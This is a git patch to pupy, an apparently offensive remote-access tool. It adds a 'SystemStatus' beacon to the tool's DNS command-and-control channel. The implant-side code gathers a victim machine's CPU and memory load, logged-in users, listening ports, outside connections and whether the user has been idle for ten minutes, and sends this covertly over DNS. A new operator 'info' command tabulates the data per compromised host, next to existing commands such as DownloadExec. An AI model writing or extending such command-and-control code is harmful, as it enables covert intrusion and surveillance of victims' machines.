From b5fe6dd1ef0df7925e8f2b75465b68944f633277 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Thu, 16 Mar 2017 15:09:19 +0200
Subject: [PATCH] Send basic information about system state via DNSCNC
---
pupy/network/lib/picocmd/client.py | 10 ++-
pupy/network/lib/picocmd/picocmd.py | 100 +++++++++++++++++++++++++++-
pupy/network/lib/picocmd/server.py | 8 ++-
pupy/pupylib/PupyCmd.py | 40 +++++++++++
4 files changed, 155 insertions(+), 3 deletions(-)
diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py
index d50b60d2..63cedb4f 100644
--- a/pupy/network/lib/picocmd/client.py
+++ b/pupy/network/lib/picocmd/client.py
@@ -259,7 +259,11 @@ class DnsCommandsClient(Thread):
pass
def process(self):
- commands = list(self._request(Poll()))
+ if self.spi:
+ commands = list(self._request(SystemStatus()))
+ else:
+ commands = list(self._request(Poll()))
+
logging.debug('commands: {}'.format(commands))
ack = self._request(Ack(len(commands)))
if not ( len(ack) == 1 and isinstance(ack[0], Ack)):
@@ -286,6 +290,10 @@ class DnsCommandsClient(Thread):
if not len(response) == 1 and not isinstance(response[0], Ack):
logging.error('SystemInfo: ACK expected but {} found'.format(
response))
+ ack = self._request(SystemStatus())
+ if not len(response) == 1 and not isinstance(response[0], Ack):
+ logging.error('SystemInfo: ACK expected but {} found'.format(
+ response))
elif isinstance(command, PasteLink):
self.on_pastelink(command.url, command.action, self.encoder)
elif isinstance(command, DownloadExec):
diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py
index c6267795..b270ec35 100644
--- a/pupy/network/lib/picocmd/picocmd.py
+++ b/pupy/network/lib/picocmd/picocmd.py
@@ -15,6 +15,7 @@ import urlparse
import StringIO
import socket
import psutil
+import os
def from_bytes(bytes):
return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))
@@ -46,6 +47,103 @@ class Poll(Command):
def __repr__(self):
return '{POLL}'
+class SystemStatus(Command):
+ @staticmethod
+ def unpack(data):
+ return SystemStatus(*struct.unpack_from('BBBBBB', data)), 6
+
+ def __init__(self, cpu=None, users=None, mem=None, listen=None, remote=None, idle=None):
+ if cpu is None:
+ try:
+ self.cpu = int(psutil.cpu_percent())
+ except:
+ self.cpu = 0
+ else:
+ self.cpu = int(cpu)
+
+ if users is None:
+ try:
+ self.users = len(set([ x.name for x in psutil.users()]))
+ except:
+ self.users = 0
+ else:
+ self.users = int(users)
+
+ if self.users > 255:
+ self.users = 255
+
+ if mem is None:
+ try:
+ self.mem = int(psutil.virtual_memory().percent)
+ except:
+ self.mem = 0
+ else:
+ self.mem = int(mem)
+
+ if listen is None:
+ try:
+ self.listen = len(set([
+ x.laddr[1] for x in psutil.net_connections() if x.status=='LISTEN'
+ ]))
+ except:
+ self.listen = 0
+ else:
+ self.listen = int(listen)
+
+ if self.listen > 255:
+ self.listen = 255
+
+ if remote is None:
+ try:
+ self.remote = len(set([
+ x.raddr for x in psutil.net_connections() \
+ if x.status=='ESTABLISHED' and x.raddr[0] not in (
+ '127.0.0.1', '::ffff:127.0.0.1'
+ )
+ ]))
+
+ except Exception, e:
+ self.remote = 0
+ else:
+ self.remote = int(remote)
+
+ if self.remote > 255:
+ self.remote = 255
+
+ if idle is None:
+ try:
+ self.idle = min(
+ time.time() - os.stat(
+ '/dev/{}'.format(x.terminal)
+ ).st_atime for x in psutil.users() if x.terminal
+ ) > 60*10
+ except:
+ self.idle = True
+ else:
+ self.idle = bool(idle)
+
+ def get_dict(self):
+ return {
+ 'cpu': self.cpu,
+ 'mem': self.mem,
+ 'listen': self.listen,
+ 'remote': self.remote,
+ 'users': self.users,
+ 'idle': self.idle
+ }
+
+ def pack(self):
+ return struct.pack(
+ 'BBBBBB',
+ self.cpu, self.users, self.mem,
+ self.listen, self.remote, self.idle
+ )
+
+ def __repr__(self):
+ return ('{{SS: CPU:{cpu}% MEM:{mem}% L:{listen} ' + \
+ 'E:{remote} U:{users} I:{idle}}}').format(**self.get_dict())
+
+
class Ack(Command):
def __init__(self, amount=0):
self.amount = amount
@@ -590,7 +688,7 @@ class Parcel(object):
commands = [
Poll, Ack, Policy, Idle, Kex,
Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,
- Sleep, Reexec, DownloadExec, CheckConnect
+ Sleep, Reexec, DownloadExec, CheckConnect, SystemStatus
]
commands_decode = dict(enumerate(commands))
diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py
index 8397afbe..e2b42633 100644
--- a/pupy/network/lib/picocmd/server.py
+++ b/pupy/network/lib/picocmd/server.py
@@ -32,6 +32,7 @@ class Session(object):
self._last_access = 0
self._timeout = timeout
self.system_info = None
+ self.system_status = None
self.commands = commands
self.last_nonce = None
self.last_qname = None
@@ -354,10 +355,15 @@ class DnsCommandServerHandler(BaseResolver):
return [Exit()]
- elif isinstance(command, Poll) and (session is not None):
+ elif (
+ isinstance(command, Poll) or isinstance(command, SystemStatus)
+ ) and (session is not None):
if session.system_info:
self.on_keep_alive(session.system_info)
+ if isinstance(command, SystemStatus):
+ session.system_status = command.get_dict()
+
commands = session.commands
return commands
diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py
index 415af5f0..7b9ee159 100644
--- a/pupy/pupylib/PupyCmd.py
+++ b/pupy/pupylib/PupyCmd.py
@@ -831,6 +831,8 @@ class PupyCmd(cmd.Cmd):
status = commands.add_parser('status', help='DNSCNC status')
clist = commands.add_parser('list', help='List known DNSCNC clients')
+ info = commands.add_parser('info', help='List known DNSCNC clients system status')
+
policy = commands.add_parser('set', help='Change policy (polling, timeout)')
policy.add_argument('-p', '--poll', help='Set poll interval', type=int)
policy.add_argument('-k', '--kex', type=bool, help='Enable KEX')
@@ -897,6 +899,44 @@ class PupyCmd(cmd.Cmd):
'{:03d} {}'.format(i, cmd) for i, cmd in enumerate(self.dnscnc.commands)
]))
+ elif args.command == 'info':
+ sessions = self.dnscnc.list()
+ if not sessions:
+ self.display_success('No active DNSCNC sesisons found')
+ return
+
+ objects = []
+
+ for idx, session in enumerate(sessions):
+ if not ( session.system_status and session.system_info ):
+ continue
+
+ objects.append({
+ '#': '{:03d}'.format(idx),
+ 'NODE': '{:012x}'.format(session.system_info['node']),
+ 'SESSION': '{:08x}'.format(session.spi),
+ 'IP': ', '.join(self.dnscnc.host),
+ 'OS': '{}/{}'.format(
+ session.system_info['os'],
+ session.system_info['arch']
+ ),
+ 'CPU': '{:d}%'.format(session.system_status['cpu']),
+ 'MEM': '{:d}%'.format(session.system_status['mem']),
+ 'LIS': '{:d}'.format(session.system_status['listen']),
+ 'EST': '{:d}'.format(session.system_status['remote']),
+ 'USERS': '{:d}'.format(session.system_status['users']),
+ 'IDLE': '{}'.format(session.system_status['idle']),
+ })
+
+ columns = [
+ '#', 'NODE', 'SESSION', 'IP', 'OS',
+ 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE'
+ ]
+
+ self.display(
+ PupyCmd.table_format(objects, wl=columns)
+ )
+
elif args.command == 'list':
sessions = self.dnscnc.list()
if not sessions: